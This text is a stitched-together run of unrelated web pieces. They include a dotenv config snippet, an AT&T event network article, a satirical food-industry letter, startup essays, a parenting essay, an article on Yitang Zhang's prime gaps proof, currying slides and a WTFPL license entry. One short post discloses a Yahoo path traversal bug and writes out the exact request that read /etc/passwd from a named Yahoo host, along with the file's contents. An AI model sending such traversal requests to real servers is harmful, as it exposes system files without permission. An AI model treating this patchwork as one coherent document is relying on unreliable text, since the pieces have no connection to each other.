.env 1 2 # .env should NOT be checked in to source control SECRET_TOKEN=3eb6db5a9026c547c72708438d496d942e976b252138db7e4e0ee5edd7539457d3ed0fa02ee5e7179420ce5290462018591adaf5f42adcf855da04877827def2

As the application configuration and infrastructure grows more complex, the gem also provides a consistent method to manage configuration across multiple developers, CI, staging and production servers. Brandon Keepers wrote more on the rationale for the gem.

Heroku

On Heroku, the application’s environment variables are managed from the heroku CLI:

$ heroku config:set SECRET_TOKEN=3eb6db5a9026c547c72708438d496d942e976b252138db7e4e0ee5edd7539457d3ed0fa02ee5e7179420ce5290462018591adaf5f42adcf855da04877827def2

(or you could use something like the HerokuConfigVars engine)

AT&T shared a little bit of what goes into a portable network cells they put up at special events where bandwidth needs will be extraordinary. Remember, AT&T’s network is about 80% iPhones so this is important stuff. The setup above was what they used to cover a recent Los Angeles festival (read: Coachella).

This isn’t a test network; AT&T’s been honing their skills since they got caught with their pants down at SXSW in 2010 (back when AT&T was the only US iPhone carrier). Since then, with their mobile response team, they’ve been able to keep their network up and running at huge events with the addition of these ‘kits’ above.

The  network performance stats for this setup – some of which are staggering:

• Carried approximately 83 GB of data traffic during the peak hour on our in-event network
• Carried a combined 6,054 GB (or more than 6 terabytes) of data on our in-event network during the two weekends of the music festival (24-hour traffic totals, Friday-Sunday for two weekends).
• About 50 engineers were involved in planning, construction or onsite 24/7 monitoring.

Both the super multi-beam antenna and five-beam antenna are AT&T innovations that were conceptualized by L.A.-based AT&T engineers Bob Mathews and Gary Chow who discuss their work in the videos below:

Shown in this photo is AT&T’s super multi-beam antenna (mounted to a mast on the far left). The super multi-beam antenna has two rows with nine beams each – 18-beams total – and can handle as much as 18 times the network traffic capacity of a traditional single-beam antenna. Below the super multi-beam antenna is a five-beam antenna – which can handle as much as five times the network traffic capacity of a traditional single-beam antenna – and a single-beam antenna. The far left COW has a set of five-beam antennas mounted to it as well as a single-beam antenna. The far left COW, along with the middle COW and the right COW provide the radios needed to support coverage at the event. The vehicle next to the right COW (center right overall) supports the microwave dish that is used to bring increased backhaul to the event. The vehicle to the far right is an AT&T Mobile Command Post, where engineers on-site can meet to discuss network traffic movement and implement solutions at the event.

40.714513 -74.005122

Please enable JavaScript to view the comments powered by Vanilla.

Dear Consumers: A disturbing trend has come to our attention. You, the people, are thinking more about health, and you’re starting to do something about it. This cannot continue.

Sure, there’s always been talk of health in America. We often encourage it. The thing is, we only want you to think about and talk about health in a certain way—equating health with how you look, instead of outcomes like quality of life and reduced disease risk. Your superficial understanding of health has a great influence over your purchasing decisions, and we’re ready for it, whether you choose to go low-calorie, low-fat, gluten-free or inevitably give up and accept the fact that you can’t resist our Little Debbie snacks, potato chips and ice cream novelties.

Whatever the current health trend, we respond by developing and marketing new products. We can also show you how great some of our current products are and always have been. For example, when things were not looking so good for fat, our friends at Welch’s were able to point out that their chewy fruit snacks were a fat free option. Low fat! Healthy! Then the tide turned against carbohydrates. Our friends in meat and dairy were happy to show that their steaks, meats and cheeses were low-carb choices. Low carbs! Healthy!

But we’re getting uneasy.

In 2009, Congress commissioned the Inter-agency Working Group (IWG) to develop standards for advertising foods to children. The IWG included the Federal Trade Commission (FTC), the Centers for Disease Control and Prevention (CDC), the Food and Drug Administration (FDA) and the United States Department of Agriculture (USDA).

Congress identified these organizations as having “expertise and experience in child nutrition, child health, psychology, education, marketing and other fields relevant to food and beverage marketing and child nutrition standards.”

We were dismayed when the IWG released its report in 2011. The guidelines said that foods advertised to children must provide “a meaningful contribution to a healthful diet.” For example, any food marketed to children must “contain at least 50% by weight one or more of the following: fruit; vegetable; whole grain; fat-free or low-fat milk or yogurt; fish; extra lean meat or poultry; eggs; nuts and seeds; or beans.”

This report was potentially devastating. These organizations, experts in nutrition, were officially outlining what constituted “a meaningful contribution to a healthful diet.” Thankfully, we have a ton of money and were able to use it to get the IWG to withdraw the guidelines.

In a public comment posted on the FTC website, our friends at General Mills pointed out that under the IWG guidelines, the most commonly consumed foods in the US would be considered unhealthy. Specifically, according to General Mills, “of the 100 most commonly consumed foods and beverages in America, 88 would fail the IWG’s proposed standards.” So you see? If you people start eating the way the nutrition experts at the CDC and USDA recommend that you eat, that would delegitimize almost 90 percent of the products we produce! Do you realize how much money that would cost us?

According to the General Mills letter, if everyone in the US started eating healthfully, it would cost us $503 billion per year! That might affect our ability to pay CEOs like General Mills’ Ken Powell annual compensations of more than $12 million.

But revamping the food environment will also cost you money. The General Mills letter stated “a shift by the average American to the IWG diet would conservatively increase the individual’s annual food spending by $1,632.” Sure, we’ve heard talk about costs to the individual that arise from being obese. One 2010 paper from the George Washington University School of Public Health and Health Services estimated that the annual costs to an individual for being obese can be upwards of $8,000. We like to think of this as a small price to pay for consumer freedom.

Of course, we don’t necessarily want you to be unhealthy. It’s just that it’s so much more profitable to provide foods that happen to be unhealthy. We’ve been able to industrialize the food system so that we can produce massive amounts of the cheapest ingredients available, in the cheapest, most efficient way possible.

On top of that, we understand human biology. Humans evolved in situations in which food was scarce. This led to an evolutionary adaptation that causes you to crave salty, sugary and fatty foods. Consuming foods with these characteristics actually lights up the same pleasure centers in the brain as cocaine. Who wouldn’t play upon that biological craving to increase profits? If one company didn’t, their competitors would, so we all kind of have to do it.

We are also able to provide you with perceived value. Because it doesn’t cost us that much more to make a soda, say, 42 ounces instead of 22, we can almost double the size of a beverage and only charge you 20 percent more. How could you resist a deal like that? You can’t. Trust us, we know.

So you see, dear consumer, everything is fine. We’ve got a good thing going here. There’s no need for you to start worrying about the industrial food system. If you do start thinking about your weight, check out our line of Healthy Choice frozen meals. If that doesn’t work, our friends over in the pharmaceutical industry, the health and fitness industry and the healthcare industry will be happy to help you to continue to fulfill your role as an American Consumer.

Images: by the author

Sounds obvious, but you'd be surprised how many startups are scared to ask for money or even if they do, they're scared they're asking for too much (although the latter is a topic for another day).

There are a few reasons why you might not ask for money, and whilst there are plenty of times when this is appropriate, you really need to ask yourself if it's the best choice for you.

The freemium model seems to have become the default option for startups these days, for both B2C and B2B. The thought process goes that you can get many more people using your product for free than you could by charging. So if you give it away for free, you'll grow your audience faster and learn more in a shorter period. Valid in theory, but it’s not without its problems.

There are times when freemium makes perfect sense, so I don't want to poo-poo the entire concept. For example, Freemium works really well when your user IS the product. This is the case for things like gmail, Facebook and even our own FiveSecondTest (where our free users give feedback on designs for paid users). Alternatively, if your app is super sticky (one which people won't stop using once they start), then you can leverage your low churn rate with the knowledge that inevitability users will reach some milestone which will trigger payment (e.g. dropbox, evernote). There a few other examples of good freemium models, but these are the main two.

If you’re not in either of those categories, then there are a few well known dangers with giving away your product for free. First, you may be collecting a lot of data, having a lot of conversations and learning a lot about your users, but you may well be learning about the wrong users. If you satisfy the needs of your free users, you may well be making a product that is only great for those free users. You always need to be sure you're pleasing the people who're going to pay you, not those that wont. 

Secondly, there is the classic "if we just convert 1% of our free users". For many businesses this is a fool's errand. Unless you're running an extremely sticky app, it's really hard to get people off their free plan onto a paid plan. Your free plan needs to be good enough to gain traction, but not so good that you prevent people from wanting to upgrade. You're stuck with a constant battle to balance these needs and it can be a messy challenge. 

Possibly the most dangerous thing about freemium (particularly for B2B) is that "free" comes with a perception of "cheap". It makes it just that little bit harder to prove value when you're clearly willing to give so much of your app away for free. What you find is that many users will go to great lengths to defer upgrading, often users that would've paid you up front had you asked them.

We struggled with all three of these issues in the early days of BugHerd, but we also found some things we didn’t expect. 

The first is that many users simply tried to "make do" with one user account and found workarounds to share the account. They’d use comments, or tags to assign tasks, or often just not assign tasks at all. It meant they were not only not getting full use of the app , but they were having to include “hacks” into their normal workflow just to avoid the monthly spend. Not ideal. 

The second, much larger problem, was that usage on free accounts was, on average, well below usage on paid accounts. Installation rates were lower, users were less likely to create tasks and they were far less likely to invite other users. 

The weird thing was, we found that this same behavior was consistent both before and after the unrestricted trial period! Even though a user had access to all the features, unlimited users and guests and all the support services, they still acted as if they were already on the free plan. Just knowing that “free” was an option was enough to cause a change in user behavior.

To confirm this, we conducted a simple A/B test where 50% of users we're not shown that a free plan was available at registration. With no change in the product, trial period or the pricing, we saw an immediate increase in usage across all key metrics. Engagement more than doubled. Furthermore, this resulted in a doubling in conversions to paid plans. Yes, double.

The perception of value is one of the biggest challenges facing any startup. When you have clear value, you have a clear growth opportunity. That can all be undone when give it away for free! Users will evaluate your product cognizant of the price even when they're not already paying. More often than not, if you tell someone up front that your app has no value, they’ll believe you! 

Discuss this post on Hacker News If you liked this post, you might want to follow me on Twitter

“Mom, can I play on the iPad?” my daughter calls from the kitchen, where I’m sure her hand is hovering over the device, waiting for my assent.

It’s Saturday morning. My husband left early for a round of golf, and I’m an “okay” away from a blissful hour sequestered with my writing book and favorite pen. Heck, I might even have a chance to finish this story instead of letting it tumble around in my head spitting out phrases while I’m cutting into the right lane to avoid the car in front of me.

My other option for her is TV, but I’d rather have her on the iPad because she’ll be either playing Minecraft or watching YouTube videos of other people playing Minecraft. She’ll build a world in “creative mode” with a swimming pool full of wool and probably a library. Her world will be blissfully threat-free until she switches over to “survival mode,” when the creepers, zombies, and pigs appear. “There are also spiders, Mommy,” she tells me, reading over my shoulder, “and pig men.”

To get ideas and inspiration she’ll watch YouTube videos of others playing Minecraft, like SkyDoesMinecraft, who recaps his quests as he saves villagers and cows. (I think the cows get saved; I’ll have to ask.) Sometimes Ava will watch Minecraft videos authored by people I assume are the spawn of drunken sailors who drop f-bombs and m-f bombs, amongst their “kill that ass-wipe” quips, which I’ll hear from the other room and say, “Ava, choose another video please.” So I prefer Sky, because he might have a clue that there’s a bunch of third graders watching and he does not swear like aforementioned cliched sailor spawn on leave from morality.

But even the cursing Minecrafters are better than pre-tween-targeted sitcoms on Disney or Nickelodeon. Let my sweet impressionable kid spend a day with China on AntFarm or Alex on Wizards of Waverly Place and my parental battles erupt. Bad language is easy to curb, but stupid adult stereotypes, sarcasm, backstabbing behavior, and contempt are not.

I have yet to see an episode of any tween sitcom (as I’ll call them) in which the adults are not morons and the dialogue between the young characters is not caustic.

I can tell Ava a dozen times a day to be kind with her words. I can tell her that how she says something makes a difference, that she has a choice being hurtful or helpful, but in the end, I give in to her request to watch Minecraft so she’ll still believe adults are intelligent, trustworthy counselors who can provide a broader perspective.

I know a fight is coming and my ability to advise may dwindle as Ava’s teen years approach, but I’m not willing to have my nine-year-old disregard everything I say.

I can hear Sky from the other room, where Ava is watching as he quests for, well, whatever he quests for on Minecraft. Gold? Butter? I don’t know. But Sky, if you’re reading, I hope you find it. Thanks for keeping the language PG.

Julie Russell

Writer, techie, gardener, gluten-free baker, believer in miracles, and you may hear about all of these once upon a tweet.

On April 17, a paper arrived in the inbox of Annals of Mathematics, one of the discipline’s preeminent journals. Written by a mathematician virtually unknown to the experts in his field — a 50-something lecturer at the University of New Hampshire named Yitang Zhang — the paper claimed to have taken a huge step forward in understanding one of mathematics’ oldest problems, the twin primes conjecture.

Editors of prominent mathematics journals are used to fielding grandiose claims from obscure authors, but this paper was different. Written with crystalline clarity and a total command of the topic’s current state of the art, it was evidently a serious piece of work, and the Annals editors decided to put it on the fast track.

Yitang Zhang (Photo: University of New Hampshire)

Just three weeks later — a blink of an eye compared to the usual pace of mathematics journals — Zhang received the referee report on his paper.

“The main results are of the first rank,” one of the referees wrote. The author had proved “a landmark theorem in the distribution of prime numbers.”

Rumors swept through the mathematics community that a great advance had been made by a researcher no one seemed to know — someone whose talents had been so overlooked after he earned his doctorate in 1992 that he had found it difficult to get an academic job, working for several years as an accountant and even in a Subway sandwich shop.

“Basically, no one knows him,” said Andrew Granville, a number theorist at the Université de Montréal. “Now, suddenly, he has proved one of the great results in the history of number theory.”

Mathematicians at Harvard University hastily arranged for Zhang to present his work to a packed audience there on May 13. As details of his work have emerged, it has become clear that Zhang achieved his result not via a radically new approach to the problem, but by applying existing methods with great perseverance.

“The big experts in the field had already tried to make this approach work,” Granville said. “He’s not a known expert, but he succeeded where all the experts had failed.”

The Problem of Pairs

Prime numbers — those that have no factors other than 1 and themselves — are the atoms of arithmetic and have fascinated mathematicians since the time of Euclid, who proved more than 2,000 years ago that there are infinitely many of them.

Because prime numbers are fundamentally connected with multiplication, understanding their additive properties can be tricky. Some of the oldest unsolved problems in mathematics concern basic questions about primes and addition, such as the twin primes conjecture, which proposes that there are infinitely many pairs of primes that differ by only 2, and the Goldbach conjecture, which proposes that every even number is the sum of two primes. (By an astonishing coincidence, a weaker version of this latter question was settled in a paper posted online by Harald Helfgott of École Normale Supérieure in Paris while Zhang was delivering his Harvard lecture.)

Prime numbers are abundant at the beginning of the number line, but they grow much sparser among large numbers. Of the first 10 numbers, for example, 40 percent are prime — 2, 3, 5 and 7 — but among 10-digit numbers, only about 4 percent are prime. For over a century, mathematicians have understood how the primes taper off on average: Among large numbers, the expected gap between prime numbers is approximately 2.3 times the number of digits; so, for example, among 100-digit numbers, the expected gap between primes is about 230.

But that’s just on average. Primes are often much closer together than the average predicts, or much farther apart. In particular, “twin” primes often crop up — pairs such as 3 and 5, or 11 and 13, that differ by only 2. And while such pairs get rarer among larger numbers, twin primes never seem to disappear completely (the largest pair discovered so far is 3,756,801,695,685 x 2666,669 – 1 and 3,756,801,695,685 x 2666,669 + 1).

For hundreds of years, mathematicians have speculated that there are infinitely many twin prime pairs. In 1849, French mathematician Alphonse de Polignac extended this conjecture to the idea that there should be infinitely many prime pairs for any possible finite gap, not just 2.

Since that time, the intrinsic appeal of these conjectures has given them the status of a mathematical holy grail, even though they have no known applications. But despite many efforts at proving them, mathematicians weren’t able to rule out the possibility that the gaps between primes grow and grow, eventually exceeding any particular bound.

Now Zhang has broken through this barrier. His paper shows that there is some number N smaller than 70 million such that there are infinitely many pairs of primes that differ by N. No matter how far you go into the deserts of the truly gargantuan prime numbers — no matter how sparse the primes become — you will keep finding prime pairs that differ by less than 70 million.

The result is “astounding,” said Daniel Goldston, a number theorist at San Jose State University. “It’s one of those problems you weren’t sure people would ever be able to solve.”

A Prime Sieve

The seeds of Zhang’s result lie in a paper from eight years ago that number theorists refer to as GPY, after its three authors — Goldston, János Pintz of the Alfréd Rényi Institute of Mathematics in Budapest, and Cem Yıldırım of Boğaziçi University in Istanbul. That paper came tantalizingly close but was ultimately unable to prove that there are infinitely many pairs of primes with some finite gap.

Instead, it showed that there will always be pairs of primes much closer together than the average spacing predicts. More precisely, GPY showed that for any fraction you choose, no matter how tiny, there will always be a pair of primes closer together than that fraction of the average gap, if you go out far enough along the number line. But the researchers couldn’t prove that the gaps between these prime pairs are always less than some particular finite number.

GPY uses a method called “sieving” to filter out pairs of primes that are closer together than average. Sieves have long been used in the study of prime numbers, starting with the 2,000-year-old Sieve of Eratosthenes, a technique for finding prime numbers.

To use the Sieve of Eratosthenes to find, say, all the primes up to 100, start with the number two, and cross out any higher number on the list that is divisible by two. Next move on to three, and cross out all the numbers divisible by three. Four is already crossed out, so you move on to five, and cross out all the numbers divisible by five, and so on. The numbers that survive this crossing-out process are the primes.

The Sieve of Eratosthenes This procedure, which dates back to the ancient Greeks, identifies all the primes less than a given number, in this case 121. It starts with the first prime — two, colored bright red — and eliminates all numbers divisible by two (colored dull red). Then it moves on to three (bright green) and eliminates all multiples of three (dull green). Four has already been eliminated, so next comes five (bright blue); the sieve eliminates all multiples of five (dull blue). It moves on to the next uncolored number, seven, and eliminates its multiples (dull yellow). The sieve would go on to 11 — the square root of 121 — but it can stop here, because all the non-primes bigger than 11 have already been filtered out. All the remaining numbers (colored purple) are primes. (Illustration: Sebastian Koppehel)

The Sieve of Eratosthenes works perfectly to identify primes, but it is too cumbersome and inefficient to be used to answer theoretical questions. Over the past century, number theorists have developed a collection of methods that provide useful approximate answers to such questions.

“The Sieve of Eratosthenes does too good a job,” Goldston said. “Modern sieve methods give up on trying to sieve perfectly.”

GPY developed a sieve that filters out lists of numbers that are plausible candidates for having prime pairs in them. To get from there to actual prime pairs, the researchers combined their sieving tool with a function whose effectiveness is based on a parameter called the level of distribution that measures how quickly the prime numbers start to display certain regularities.

The level of distribution is known to be at least ½. This is exactly the right value to prove the GPY result, but it falls just short of proving that there are always pairs of primes with a bounded gap. The sieve in GPY could establish that result, the researchers showed, but only if the level of distribution of the primes could be shown to be more than ½. Any amount more would be enough.

The theorem in GPY “would appear to be within a hair’s breadth of obtaining this result,” the researchers wrote.

But the more researchers tried to overcome this obstacle, the thicker the hair seemed to become. During the late 1980s, three researchers — Enrico Bombieri, a Fields medalist at the Institute for Advanced Study in Princeton, John Friedlander of the University of Toronto, and Henryk Iwaniec of Rutgers University — had developed a way to tweak the definition of the level of distribution to bring the value of this adjusted parameter up to 4/7. After the GPY paper was circulated in 2005, researchers worked feverishly to incorporate this tweaked level of distribution into GPY’s sieving framework, but to no avail.

“The big experts in the area tried and failed,” Granville said. “I personally didn’t think anyone was going to be able to do it any time soon.”

Closing the Gap

Meanwhile, Zhang was working in solitude to try to bridge the gap between the GPY result and the bounded prime gaps conjecture. A Chinese immigrant who received his doctorate from Purdue University, he had always been interested in number theory, even though it wasn’t the subject of his dissertation. During the difficult years in which he was unable to get an academic job, he continued to follow developments in the field.

“There are a lot of chances in your career, but the important thing is to keep thinking,” he said.

Zhang read the GPY paper, and in particular the sentence referring to the hair’s breadth between GPY and bounded prime gaps. “That sentence impressed me so much,” he said.

Without communicating with the field’s experts, Zhang started thinking about the problem. After three years, however, he had made no progress. “I was so tired,” he said.

To take a break, Zhang visited a friend in Colorado last summer. There, on July 3, during a half-hour lull in his friend’s backyard before leaving for a concert, the solution suddenly came to him. “I immediately realized that it would work,” he said.

Zhang’s idea was to use not the GPY sieve but a modified version of it, in which the sieve filters not by every number, but only by numbers that have no large prime factors.

“His sieve doesn’t do as good a job because you’re not using everything you can sieve with,” Goldston said. “But it turns out that while it’s a little less effective, it gives him the flexibility that allows the argument to work.”

While the new sieve allowed Zhang to prove that there are infinitely many prime pairs closer together than 70 million, it is unlikely that his methods can be pushed as far as the twin primes conjecture, Goldston said. Even with the strongest possible assumptions about the value of the level of distribution, he said, the best result likely to emerge from the GPY method would be that there are infinitely many prime pairs that differ by 16 or less.

But Granville said that mathematicians shouldn’t prematurely rule out the possibility of reaching the twin primes conjecture by these methods.

“This work is a game changer, and sometimes after a new proof, what had previously appeared to be much harder turns out to be just a tiny extension,” he said. “For now, we need to study the paper and see what’s what.”

It took Zhang several months to work through all the details, but the resulting paper is a model of clear exposition, Granville said. “He nailed down every detail so no one will doubt him. There’s no waffling.”

Once Zhang received the referee report, events unfolded with dizzying speed. Invitations to speak on his work poured in. “I think people are pretty thrilled that someone out of nowhere did this,” Granville said.

For Zhang, who calls himself shy, the glare of the spotlight has been somewhat uncomfortable. “I said, ‘Why is this so quick?’” he said. “It was confusing, sometimes.”

Zhang was not shy, though, during his Harvard talk, which attendees praised for its clarity. “When I’m giving a talk and concentrating on the math, I forget my shyness,” he said.

Zhang said he feels no resentment about the relative obscurity of his career thus far. “My mind is very peaceful. I don’t care so much about the money, or the honor,” he said. “I like to be very quiet and keep working by myself.”

Meanwhile, Zhang has already started work on his next project, which he declined to describe. “Hopefully it will be a good result,” he said.

Simons Science News is an editorially independent division of SimonsFoundation.org. Its mission is to enhance public understanding of science by covering research developments and trends in mathematics and the physical and life sciences.

List name

List link

Description Under 100 characters, optional

Privacy

Public · Anyone can follow this list Private · Only you can access this list

Save list

1. Idea: An Umbrella LastMinute.com across sectors 1 point by statboy 38 minutes ago | discuss 2. Idea: Market Research Based On Location Changes Of Your Car 1 point by coolchap 6 hours ago | discuss 3. Idea: Fog Wars (game) 1 point by mmettler 1 day ago | 1 comment 4. Idea: Intelligent Music App To Set A Target Mood 2 points by kingkong 2 days ago | 2 comments 5. Idea: 'Just What You Use' Enterprise Software 1 point by npguy 2 days ago | discuss 6. Idea: 'Change Your Mood' Add-On for Facebook 1 point by statboy 3 days ago | discuss 7. Idea: New Beta Management Platform That Leverages Gamification 5 points by billsfannc 3 days ago | 7 comments 8. Idea: Minutorials - One Minute Tutorials On Common Finance Terms 1 point by reporter 4 days ago | discuss 9. Idea: Community Driven Arbitrage Spotting 3 points by rajkumar 4 days ago | 2 comments 10. Idea: Stumble upon interesting people in your field 1 point by kingkong 4 days ago | discuss 11. Sampler - Try something new via free product samples. (sampler.in) 3 points by akpd 5 days ago | 1 comment 12. Idea: IBoughtThis - PInterest, but for what you bought 4 points by reporter 5 days ago | 1 comment 13. Idea: Virtual Dance Classes With Kinect Consoles 1 point by bottlewala 5 days ago | discuss 14. Idea: 'A Day In The Life Of' Video Series 1 point by reporter 5 days ago | discuss 15. Filll.com - Fresh, High-Quality Links For Finance Professionals (filll.com) 1 point by reporter 5 days ago | discuss 16. Idea: Fast-Food Style Technology Consulting 3 points by gone 5 days ago | discuss 17. Idea: Flash Mob Suggestor App 1 point by statboy 6 days ago | discuss 18. Idea: Dating App For Chinese Bachelors 2 points by statboy 6 days ago | 2 comments 19. Idea: Techmeme For Other Verticals 3 points by bottlewala 6 days ago | discuss 20. Idea: Dynamic Address Book In The Cloud 2 points by kingkong 6 days ago | 1 comment 21. Idea: Badges For Team Members That Change Color Based On Priorities For The Day 2 points by statboy 8 days ago | 1 comment 22. Idea: Smart Dating App Based On User Smartphone Data 2 points by hacker 8 days ago | 1 comment 23. Idea: 'Based On Past Data, In 15 Minutes' 4 points by esakki 10 days ago | discuss 24. Idea: A Mobile Phone Component That Will 'Transmit' Something Good 1 point by kingkong 10 days ago | 1 comment 25. Idea: Task management application without having to register 1 point by jebus 10 days ago | 1 comment 26. Idea: A Real-Time Personal Retirement Calculator 1 point by kingkong 13 days ago | 1 comment 27. Idea: Meditation and Yoga Console (Device and software) 1 point by kingkong 15 days ago | 2 comments 28. Idea: Prediction Market For Hardware Components 1 point by reporter 16 days ago | 1 comment 29. Idea: Data Entry For Expense Trackers 1 point by reporter 16 days ago | 1 comment 30. Men’s suit that turns transparent when wearer is lying (springwise.com) 2 points by esakki 18 days ago | 4 comments More

This wouldn't happen if Yahoo had a Vulnerability Reward Program like Google, Facebook, Mozilla, Paypal, Etsy, etc (list of reward programs @bugcrowd). Last year I discovered a LFI/Path Traversal vulnerability in a REST-API used by Yahoo Mail and I got a automated mail from their mailer. I refused to report more bugs to them because it's boring to talk with bots. GET /v2/xframe/../../../../../../../etc/passwd?bc HTTP/1.1 Host: prod1.rest-notify.msg.yahoo.com HTTP/1.1 200 OK Connection: close Expires: Thu, 15 Apr 2020 20:00:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 29676 root:*:0:0:Charlie &:/root:/usr/local/bin/bash toor:*:0:0:Bourne-again Superuser:/root:/bin/sh daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin
Some minutes later I got a automated reply from Yahoo Security Contact Nils, Thank you for contacting Yahoo!. These issues have been passed along to the correct teams to investigate. Should a fix be required, we will again contact you and ask that you see the issues as resolved. Thanks again, Yahoo! Security Contact Days later the issue was fixed. But no more replies from them!

Yahoo, please start with a Vulnerability Reward Program and get in touch with the community - before it's too late.

Which is impossible So let's rather try... JSDC.tw 2013 Lightning Talk Gias Kay Lee Currying.

Perhaps you've been told by someone before that this is one of those "advanced JavaScript techniques" you'll need to learn to become a true JavaScript ninja.

http://commons.wikimedia.org/wiki/File:Phanaeng_kai.jpg

Currying,

is a basic functional programming technique.

And in order to become a true JavaScript ninja,

what you really need to master is the art of

Functional Programming. Lisp Scheme

Functional

Smalltalk Self

Object-oriented

has half of its root in it.

Because JavaScript Let's start with something familiar λ Function

AKA Anonymous Function

originated from a mathematical system called

λ Calculus λ Calculus

is about simplifying mathematical expressions into

λ Expressions

to unveil the true nature of underlying computations

To achieve this simplification

Functions

cube(x) = x * x * x are expressed without names (x) → x * x * x

...and can only have

1 argument

To handle a

multi-argument function

it needs to first go through the process of...

Currying (n.)

A technique of transforming a multi-argument function in such a way that it can be called as a chain of functions, each with a single argument.

And the name comes from...

http://commons.wikimedia.org/wiki/File:Curry_Ist.jpg

Haskell Curry

(1900 – 1982)

also immortalized as the name of

the popular pure functional language

Haskell

http://en.wikipedia.org/wiki/File:Haskell-Logo.svg

So

(x, y) → x + y

can be curried into

x → (y → x + y)

Or, in classical notation

f(x, y) = x + y

can be curried into

g(x) = y → f(x, y) Still very confusing? Let's speak JavaScript!

a multi-argument function

function(x, y) {

    return x + y;

}

when curried, will become

a chain of functions, each

with a single argument

function(x) {

    return function(y) {

        return x + y;

    };

}

function f(x, y) {

    return x + y;

}

function g(x) {

    return function(y) {

        return x + y;

    };

}

f(1, 2) === g(1)(2);

now, since functions are

first-class citizens...

we can also do it

like this

function g(h) {

    return function(y) {

        return h(h(y));

    };

}

81 === g(function(x) {

    return x * x;

})(3);

function g(h) {

    return function(y) {

        return h(h(y));

    };

}

if we only supply

one of the arguments

to the curried function...

var n = g(function(x) {

    return x * x;

});

we'll be able to reuse it

like this

This is called

Partial Application

and is not the same with currying

actually, for functions with

an arity greater than 2

function f(x, y, z) {

    return x + y + z;

}

the correct way to

partially apply is through

bind()

var f1 = f.bind(null, 1);

call to a partially applied

function returns the result,

not another function down

the currying chain

Now I guess we're

running low on time

so...

that the reverse process of currying

uncurrying

is closely related with

a more familiar concept

Nah, we're running outta time. Seriously.

This slide can be found on

Do What the Fuck You Want to Public License Author Sam Hocevar Version 2 Publisher Sam Hocevar Published 2004 DFSG compatible Yes FSF approved Yes[1] OSI approved No[2] GPL compatible Yes [1] Copyleft No [1] Linking from code with a different license Yes

The WTFPL (Do What the Fuck You Want to Public License) is a permissive way of licensing intellectual property rights, most commonly used as a permissive free software license. It is essentially no different from dedication to the public domain.[2] The original Version 1.0 license, released March 2000,[3] was written by Banlu Kemiyatorn who used it for Window Maker artwork.[4]Sam Hocevar, a French programmer who was the Debian project leader from 17 April 2007 to 16 April 2008, wrote version 2.0.[5] It allows for redistribution and modification of the software under any terms – licensees are encouraged to "do what the fuck [they] want to". The license was approved as a GPL-compatible free software license by the Free Software Foundation.[1]

Contents

• 1 Terms
• 2 Uses
• 3 See also
• 4 References
• 5 External links

The text of the license[5]:

DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE Version 2, December 2004 Copyright (C) 2004 Sam Hocevar <sam@hocevar.net> Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed. DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. You just DO WHAT THE FUCK YOU WANT TO.

The WTFPL is rarely used, at least by name, but some software has been released under it. The license can also be applied to artwork and written material.[5]Freecode, an index of free software, includes a specific category for WTFPL software and artwork, containing 35 entries as of January 2013[update],[6] of which two are authored by Sam Hocevar, the author of version 2.0 of the license. Potlatch, an online editor of the OpenStreetMap project, as well as its more recent equivalent iD, are released under the WTFPL.[7][8]

See also [edit] References [edit]

1. ^ a b c d . Free Software Foundation. 
2. ^ a b . Open Source Initiative. 2009-03-04. Retrieved 2013-04-03. "[...] the following licenses to be discussed and approved/disapproved by the Board. [...] WTFPL Submission: [...] Comments: It's no different from dedication to the public domain. Author has submitted license approval request -- author is free to make public domain dedication. Although he agrees with the recommendation, Mr. Michlmayr notes that public domain doesn't exist in Europe. Recommend: Reject" 
3. ^ Version 1.0 license
4. ^ Window Maker WTFPL
5. ^ a b c Sam Hocevar. . 
6. ^ . freecode.com. Retrieved 2013-01-23. 
7. ^ . Retrieved 2012-01-16. 
8. ^ . Retrieved 2013-05-15. 

External links [edit]

Monday May 20th will be the very first day that I work for myself, full-time, on my start-up. There are plenty of variables to worry about when starting a new business but what I was most worried about was telling my father that I was going to quit my “good” job. The prospect of generating traction didn’t terrify me, and the innovative product was almost complete, but I was dreading the “talk” I had to have with my dad.

It doesn’t seem crazy to me

My parents live in Florida (of course) and I was holding the phone to my ear waiting for my dad to come on the line from their house. When he came on the line I just blurted it out…

“Dad I’ve decided to work on my own business full time.”

I let it hang on the wire, waiting for the blistering response about how I was letting my family down, and exposing my kids to unnecessary risks. I had imagined how he would lecture me on how hard he and my mom worked so that I (and my three little sisters) could get a college education, and how I had no right to throw it all away on some silly dream about starting my own business. And, about how my wife deserved a husband who would make good adult (not risky) choices about my career.

I had imagined how he would remind me about my long days at a full-time job and long nights spent in class to earn an MBA from a top school. I knew how his mind worked, he raised me after all and I had been on the receiving end of such lectures many times before.

A rough road

My dad had been in business for himself once before. He and my mom opened a coffee shop on main street in the little town they lived in before moving to Florida. It was a lot of work, and they barely made any money. On many days my dad would open the store up at 4am and work the morning rush, then come back in the evening to reconcile the cash register and close the store at midnight.

No matter how hard he worked, that coffee shop was never going to generate much profit without major changes in the business model. Though I doubted he would bring up his own failures, I knew that it would influence how he approached the conversation with me.

I’ve failed before

This isn’t my first rodeo either. I’ve attempted to do a software start up before (more than once) and failed. They were not particularly private failures either. I always get so excited about my ideas that I broadcast them to everyone. I imagined that my prior failures would play into my conversation with my dad also. It would be a dose of “tough love” to bring me back to reality.

The father speaks

“Well I wish you the best of luck. I’m sure you’ll do great.”

I was stunned. I’d been so prepared to launch into a defense of my current project and my reasons for focusing on it full-time that I had never considered he might be supportive. We went on to have a great talk, about the start-up some but mostly about my kids and my sisters.

Projection

After talking to my dad I wondered how I could have gauged his reaction so inaccurately. I think it comes down to my own fears in the end. I believe I was projecting my own fears onto him, and trying to talk myself out of it without having to take ownership of the fears.

Startup Families

Does anyone else have any experience with this? What were the reactions when you told your parents or spouses or whoever is important to you that you were going to quit your job and take gigantic risks?

The idea of a VC having its own news aggregator was a bit outlandish in 2007. But Y Combinator was in an unusual position in those days anyway. Startup accelerators had been a highly visible part of the dot-com crash, and Silicon Valley was still skeptical of the concept nearly a decade later. So YC set out to be something different — a community of hackers building companies on their own terms.

